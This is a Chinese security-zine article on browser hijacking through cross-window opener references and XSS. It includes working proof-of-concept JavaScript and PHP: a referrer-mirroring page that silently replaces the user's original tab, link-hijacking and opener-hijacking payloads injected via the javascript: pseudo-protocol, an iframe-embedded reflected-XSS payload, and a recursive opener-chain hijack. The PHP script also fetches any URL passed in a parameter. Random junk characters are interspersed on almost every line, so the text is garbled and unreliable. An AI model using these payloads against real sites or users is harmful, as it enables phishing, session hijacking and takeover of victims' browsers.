==Ph4nt0m Security Team==. {* h {) @6 a9 [
* A" |+ I! S/ S Issue 0x03, Phile #0x05 of 0x07
- r2 G$ ^2 ?( C9 k
: g1 X1 ?* |# W3 q+ c
4 z' w S! Z# @0 P3 F/ z; Z1 N|=---------------------------------------------------------------------------=|# q4 a2 a7 s7 D' F( u
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
. w6 e: d. { B! f|=---------------------------------------------------------------------------=|# W% \' ^; v; }6 ^' x5 ^7 B+ u
|=---------------------------------------------------------------------------=|7 Z w' |, `6 M U
|=------------------------=[ By rayh4c ]=---------------------------=|: t' J: |& \; j
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|0 X! m9 D2 J) U- I% Q8 Y
|=---------------------------------------------------------------------------=|
T4 V$ y6 I/ t
8 R8 B2 p6 N3 f: t2 E
/ O+ h ^+ J& n6 d6 } o) e& D[目录]- p" M" }3 n9 U/ q6 x4 `
+ K( ~* q( `+ ]2 o2 F* F1. 前言
+ _& C2 F* ?4 `3 q/ B2. 同源策略简叙3 u& o5 g. ?$ t2 C1 K0 m4 ^4 o7 b
3. 理解window对象的同源策略
' R, h( [6 G2 b, z" D5 v& p4. 窗口引用功能中的同源策略漏洞
/ {" d2 b4 v i# o5 c a: W9 R p" b 4.1 父窗口引用子窗口的同源策略问题
$ N. V) a4 \$ w9 N! ` 4.2 子窗口引用父窗口的同源策略问题
3 o' E% f7 a5 b4 K+ ]/ Q5. 利用窗口引用漏洞劫持浏览器
g# i1 m$ z" z6. 利用XSS漏洞劫持浏览器
" G) @2 ?6 t* b6 Q 6.1 正向跨窗口劫持7 S4 p; Z5 ~. n1 c
6.2 反向跨窗口劫持4 C( ]: G" ?; G# [- N! S* d8 D8 j
6.3 极度危险的跨框架窗口引用劫持
* T) z: k* o. q3 Q9 p 6.4 极度危险的正反向跨窗口递归劫持( Q( Z' I$ U" {1 Q3 r4 L
6.5 完全控制浏览器
3 A4 F% T( t4 i7. 后记; d9 D8 j4 r+ S3 u
8. 参考/ K2 g; H m1 }: q
" T6 A% b, z! x) F2 f2 Q0 t: {% n' ~0 N# m
一、前言4 T; w" x& n5 Q Z" e
$ d4 _* E" G% F- u- M" w 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
( e6 M5 Q* ?0 U+ b( P: S( b# X: U友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
) ^6 r5 [" E L5 X! v劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
m5 d. Q' G2 w' Q( A! ~条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
; v, [ j" }# f( E Z' B3 h5 L# H2 B1 e1 T. @0 a, I
! \1 o& i( t1 p' d* l5 a& N) ]
二、同源策略简叙' Q* F. N) T2 a0 m6 ?3 v, {
/ d: m* L% O1 g Z( y0 e
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以- e$ A4 t7 L& E4 i+ H
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都6 w3 H- l/ d# P, Q$ f" E0 [
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木: J9 P9 p; A4 J8 g" Z4 m) n
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个9 W8 x+ Y4 P0 v" P6 O: @* e( e
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
5 t, E0 @: x R& \ o; _( C. w/ f/ W0 C: I9 Z& S
) L/ f3 I4 o) S: z
三、理解window对象的同源策略
% R8 [( [- i' \$ \# k' u( @4 A. y1 ^( I' M* B# Y- _3 ?9 s/ d
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对$ H v* e% q$ J6 t& o
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:5 [, {$ J8 g" T' K* ]* x
3 |0 M* H; y7 {+ C. U* i--code-------------------------------------------------------------------------
% f6 I# l& F0 o<script language="javascript">5 B1 O; B9 P' C, U
for(p in window) document.write(p+"<br>");1 G4 \0 Z3 G' F% O# j4 w
</script>9 C( D% H) m, ], Y i8 ]2 {
-------------------------------------------------------------------------------
0 q* q1 M2 }% {1 s& e9 \
1 h7 Z+ C! a7 s7 `9 F 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% w( \1 u( L C1 \. q) O% d
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
/ f! U! q1 F6 Q1 G+ u. c3 Q这些属性和方法就必须遵循同源策略。
. {( `. d1 b! W8 ^, M
0 b6 G+ ~9 n3 S# ^* o 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那$ d0 U/ X4 a% k& y4 c' ~/ G
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 D, t+ G% i0 p+ w' M- ^; u! O
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这6 z8 K8 s8 R( [4 |
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的0 N7 d* E5 ~; G5 D4 Y
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location7 ]8 z7 z; Q% M# P3 p' l
属性并没有被拒绝访问。
3 \( S( @5 f0 T3 J$ b
$ Q% E' k1 R; V5 M* E: Z+ y--demo.html--------------------------------------------------------------------
% L* | I" u2 ^- b<script language="javascript">
" o9 Z6 x) a! Q- F3 B' `. j' Ifunction allPrpos(obj) { - ^6 }& F/ \+ d$ h" N
var props = "<table><tr><td>名称</td><td>值</td>";
; R9 @$ z9 s2 `6 B' ~ for(var p in obj){ # R0 a# g5 a2 [3 p
if(typeof(obj[p])=="function"){
0 |' r* x1 n8 E D4 g- T. {+ r obj[p](); % F& M) L7 o( K: x2 V2 ?
}else{
- Z4 ]8 a! E$ X$ e try 0 ^1 a6 h7 ^3 r$ M
{
2 R, H( m, v% j- Q3 f: d: k props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
; ]9 k1 i) i+ z2 e3 D5 j9 G! | }
~# P6 a1 k; W! F" Y/ R! k! ~ catch (ex) - N2 Y N$ _' o0 \0 |! O
{
4 ^) d- P& j: q , i3 I1 x3 k* ?) {8 Q& \) \. q
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
2 ~) F8 A7 _- s% X0 z9 b/ e* J }
. t, `# C) I6 Y' s n/ a
+ u: l' o$ h) n% N! c4 m" s9 V }
1 a9 j8 K& D; t) t }
2 L5 @, N" {0 X: x. Z ; l( ]' ^* P. _7 G9 W. W G+ ~
document.write(props+"</table>");
+ ?: i6 C& M; @" q6 S} ; p+ F' w3 j5 B/ [
! Z3 @/ I% y! d B) Gfunction createWin() {
% p% W+ X' ?& B3 E3 r9 J- ~ newWin = window.open ("http://www.google.com");
$ d" _7 A) t6 R+ ? setTimeout(function(){allPrpos(newWin)},2000); 0 T8 R4 @, ?! d$ Z' I5 [* @
} . A }1 W* ], N
7 P8 C% |6 H; q; ~, U
</script>
$ A- l8 i5 z( X- J
) y! x7 f) f D<button onclick='createWin()'>创建一个非同源子窗口测试</button>, ^/ U; r: d, F3 H( \
-------------------------------------------------------------------------------
( K' h0 J( f& }$ j2 O. n/ w& I
0 F; V8 y. _+ b* D: f6 @4 ]4 M% U
四、窗口引用功能中的同源策略漏洞
; {* a0 a" x4 J# o% u- x& v8 P% U9 S, ^+ ?& N
4.1 父窗口引用子窗口的同源策略问题
6 ~; r0 i/ u+ C" \4 y% p* X% R4 q& z: M# Y2 b8 e; V6 Y0 E9 S
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,; X: c: x' X Z7 }- P$ g
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
+ Q4 y# s( C$ D# A浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
- ~: X( ]; E6 B3 Q4 u行测试,会发现父窗口可以控制非同源子窗口location属性值。* l& Z3 @: f: _8 Q- u
: v+ `0 I% s# Y' c! s" a--vul1.html--------------------------------------------------------------------
" l' T, R* \6 f2 I: J<script language="javascript">
$ I0 s2 R' o _; t) z2 f h6 \function createWin() {
a h. Q5 I7 ` Q. K+ {6 {0 V4 Y newWin = window.open ("http://www.google.com"); 8 @: d2 J- N5 y/ j
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
; I1 f0 {8 L$ c/ c2 X6 x} ' v9 d, e$ ]! N$ e. q# C
</script>
9 Q1 i9 g( t" |2 u4 p$ c2 W9 u; R+ b1 w
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ A! ~1 } I& i7 }; X+ K8 d-------------------------------------------------------------------------------
$ m- X0 O$ X6 b6 ^; a7 @/ L: P+ D T
8 U7 Q" ?, k% f; |$ Y
4.2 子窗口引用父窗口的同源策略问题
7 ], x7 K: L5 Q4 t* ~! N' U
& k2 m6 w8 n# u/ u) q 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使2 X2 d3 K& v! \4 j/ f5 p6 n U
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
1 ]2 M/ Y1 ^& L! w( y% R可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
( i( Z& G' |- q+ A* u' P会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。; y, T- q5 K9 `1 f5 A8 m. F3 E
: B' B+ [' C, x c5 g* Y
--code-------------------------------------------------------------------------$ Y+ `7 g( K8 O6 t$ D8 _
8 _6 T$ _: X/ g% s- m; h8 m& Fjavascript:window.opener.location = "http://www.80sec.com";void(0);& `$ D6 v' \$ D9 \( _
9 K- L* a. n$ @: W+ F5 o0 M
-------------------------------------------------------------------------------
9 E& y% s" q# w" K; Y) h" [8 g3 o5 S: R) R3 T
5 o. K5 Q8 A$ W9 ?( U/ h
五、利用窗口引用漏洞劫持浏览器
/ L' V* u8 {% k$ b1 b+ v9 \5 ]8 f7 Q, D6 s- L9 i( ^) \: i
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
% C! K! Y+ A4 @1 q; d窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那3 p4 Q, ?5 n8 ?# |
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
. X6 O( ^5 p2 Z8 h- T5 {7 T s' T& }3 k$ N
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
6 W9 p. Z. ^2 Q" v& U' M8 d生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或6 G( L( A/ r0 }) e
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接/ G) n h1 _ i' N4 {
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
# n9 g6 X- k3 Z' t5 e& L# i2 B会产生什么可怕的后果。5 b/ b. W/ A% ]: V+ I% }$ Q
" R5 G7 q( r' w 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
+ V f( j$ f5 r# B们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php: i s' m0 H0 m3 o+ Q. Y! }% m
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
1 t0 L% e ^* i1 I2 \' f! U( T! u候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可5 O: D4 [ L) s$ ?; [* I' e2 h
以做更多的事情,所有的一切仅仅是因为点击了一个链接。4 w) @3 |! }; i# U: \# a
, X2 ^$ H H1 c" d
--hjk_ref.php------------------------------------------------------------------2 x7 I( p1 n) y1 _9 l& z
<?php) s7 h: j6 v8 I. X4 E+ H
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
& r2 X+ i5 P4 P; i. }7 ]: e1 t$Url_Mirror = $_SERVER["HTTP_REFERER"];
3 Y6 y" W; I4 j& o. K4 R" X} # M; C( j2 |$ ?" c" R* E8 E
if(isset ($_GET['ref'])) {, x/ v. I9 z4 |! }" ~4 B W
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';; C8 v, e' P1 g, ^' V& P" z0 A: s
}
3 U& w+ N7 q. N1 c) z' t! W# w3 X?>/ Y3 M5 G) w' ]5 r' \- h
( o" j5 D5 p; u<script language="javascript">% U8 Z! V& ?# _ ? x
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); " ^) A# y$ D! B1 m+ U5 Y- m' ^" p' f _
</script>. p$ V9 W8 H* G! _+ Z: ^
-------------------------------------------------------------------------------
7 X* K8 T; ?/ S( F
3 K2 [+ B/ M) I5 E 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
" v6 [) M, I: U/ q f9 f# f* `5 v8 B. N/ `
1 ~- [2 B( W( Q% v
六、利用XSS漏洞劫持浏览器
6 @0 ?* S( C. ~9 W
' M. r" w1 z: D7 v 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
W% g) l' \+ @持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后1 W# P5 x9 {0 F' o8 n! \! p3 O
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起4 X( b4 \; y/ D, r+ R. `% F
讨论跨站师的终极技巧:( @4 n. X' E2 k- l; D' W& S5 |
) z! Q8 R& B8 ^1 m8 O" \
9 S7 t w5 m2 c0 }% [7 m6.1 正向跨窗口劫持
# N. V, P. U2 m( F5 ^8 ]& f$ }+ w9 Y; U$ T3 X6 g( y, l
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
: c1 o. l5 V. I. m6 e5 c主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
9 F, ` v) B' A2 h2 K( `接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
7 Z6 I) u1 S( p8 k框脚本。
- P9 O5 s( x% j$ s+ H$ ?( H
- I b% ?0 r, ]9 y& T4 ?9 ]) p--hijack_open.js---------------------------------------------------------------
6 g4 s3 Z% L" L* @$ r p
! ]5 O' d2 [: _! x$ E! `javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);6 s7 D& Q L+ }6 j; _; s# ]: g
' p0 d% K8 J$ n4 r* A5 {8 N
-------------------------------------------------------------------------------6 A/ i( X9 J- Q; X5 r
4 n2 L8 |6 ]7 g
A0 M3 ^1 L2 o# F6 J/ O
6.2 反向跨窗口劫持# `! R9 \3 ~2 D" |; d( {
: ?" M: q I9 G5 e; |4 F. |# Y
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
- p+ |8 }: U' i# D# [3 D! ~码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话0 D2 \- Q5 F6 b/ _
框脚本。& V' S* q. E0 b' _2 g/ w
" I- _8 G+ t5 h/ j: t0 d( R--hijack_opener.js-------------------------------------------------------------9 r) b2 C3 E/ X0 d' ^; g
C, q- |5 j3 F+ ?! W9 ojavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);% Y* Y" {! }6 W0 w4 A) H" S, C6 s
! A" @5 j/ ?% D4 s& G' U0 U
-------------------------------------------------------------------------------
+ T s( z9 J; P! C0 k" Q& c
( E+ g( V2 @! k9 S, }' v1 r# D5 ~( M$ A/ ~2 W' B9 x
6.3 极度危险的跨框架窗口引用劫持3 i+ S# z- M( g: s' |5 z' B
- b, n% c' b& K8 a& m L
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞9 S- o/ n. S% o+ R- {
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
( S' u3 l6 p" O; D适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个. O8 `4 g+ s m7 P7 A' K# f8 C
非持久型的XSS,如下:4 s! ^! F6 N+ K0 B6 A9 c7 v
8 S# |, V a; u/ P
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
- ^1 G9 i8 U2 ~9 t' N+ k5 [" Y- k ^# z1 G! t) W8 U$ q
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
M. H: y4 F7 J+ o注入脚本。2 I9 P7 e. b6 q6 t8 v! S
& |3 @4 r- W$ S5 z--hijack_frame_opener.js-------------------------------------------------------( N2 l6 X- m6 p2 ?
<script>6 L6 U* c( ]( B5 K
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";) N! X( ?+ }" h! s+ R0 I. f
</script>- p. ^$ J$ x* p" A0 E; [( {# I4 V
-------------------------------------------------------------------------------. t" w$ I' l6 b/ s
& _9 H6 f- @1 n7 \6 V* p6 o1 {8 R# w- s/ u$ J* z% I
6.4 极度危险的正反向跨窗口递归劫持
2 [3 k; W/ s2 P' c; H6 d
$ L' C( \# M z0 ~ u7 r# L luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window) o- F+ c: ]/ U. _5 I
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
0 P. V3 Q9 i" p* N- S异常处理规避之间跨域页面的访问异常,代码如下:
; ~# f( c2 [4 S! B l
+ R1 O; P2 y) [7 c! w* x4 |--code-------------------------------------------------------------------------% m* c5 Z4 O6 w6 I# G
8 _% |" E2 D) J" ojavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
1 `: ?6 i% z8 s; e* B/ S4 m7 q4 w4 e! d% k! O
-------------------------------------------------------------------------------4 S4 G$ Q5 P4 y9 m ?9 S
; h8 o- x' K& l+ C/ a
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可" A A- q" L' x1 o; ?, b2 v: `
以劫持B域之前的A域页面,从而实现“隔空打击”。5 u; g @, S1 ?1 v& P' F
7 b6 s0 z+ o7 A* z, ^. }! _- A 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面- S! k% m0 u+ r: ]" F$ [2 M
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
' ?, G8 \& P- K/ G0 ` }4 Z4 h% d5 C( ]" n( y$ |
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。) f0 {; ?6 O( |& b+ Y: g5 z7 o
& B) v* F1 z, a* C1 {5 A
" z2 u3 K. F: C' \$ _! q/ d6.5 完全控制浏览器9 g) A2 {5 W; k, \8 B+ U, O# B y
. C6 t, I" n4 [; M) r4 o1 n. G
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则! k0 m' t- u1 d
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS1 \) U+ W0 s5 n0 t) h2 A5 [, q
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
) v1 s: h0 `7 |4 I而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
; p% h# p ~2 x m列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 [2 p4 k0 j& q; w$ q
师的终极目标 - 完全控制浏览器。3 t3 t5 M! i3 u9 Y3 e$ s# D
7 y$ E1 H; e4 f w5 g
. @4 @3 R8 W" C, |( \% R w七、后记* r2 ^7 @9 D. t% l6 L( ]5 ]
# B3 D7 g3 s! B% O' S4 A" ?
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ T) {0 y/ u8 l* l( A与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予! L0 X: _/ B5 S5 f- N) H$ e! o
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。/ q7 ~" L3 S- s0 Y2 ?
/ w" `+ L' Y: M/ J, U$ B6 [3 {( }, o1 I7 M2 Z6 G
八、参考
( z6 o. V: j3 o" X) `
3 s+ v! k/ Z6 L5 r) k7 }1. http://en.wikipedia.org/wiki/Same_origin_policy
- S# ?; z4 t4 q2 y2. http://code.google.com/p/browser ... licy_for_DOM_access) A( [1 k: X' u! Z! ^8 h0 X1 D" ?
3. http://www.w3.org/TR/Window/0 M/ X4 s5 e" V6 k
4. http://www.80sec.com/release/browser-hijacking.txt
/ t: D# a8 m, j6 V2 l/ M5. http://www.80sec.com/all-browser-security-alert.html
; W3 ?7 V* q- i4 \' J6. http://www.80sec.com/ms08-058-attacks-google.html7 d4 V7 ]( D- S7 \' p
" ~9 e+ Z! _) g( I" d. Q" k0 \-EOF- |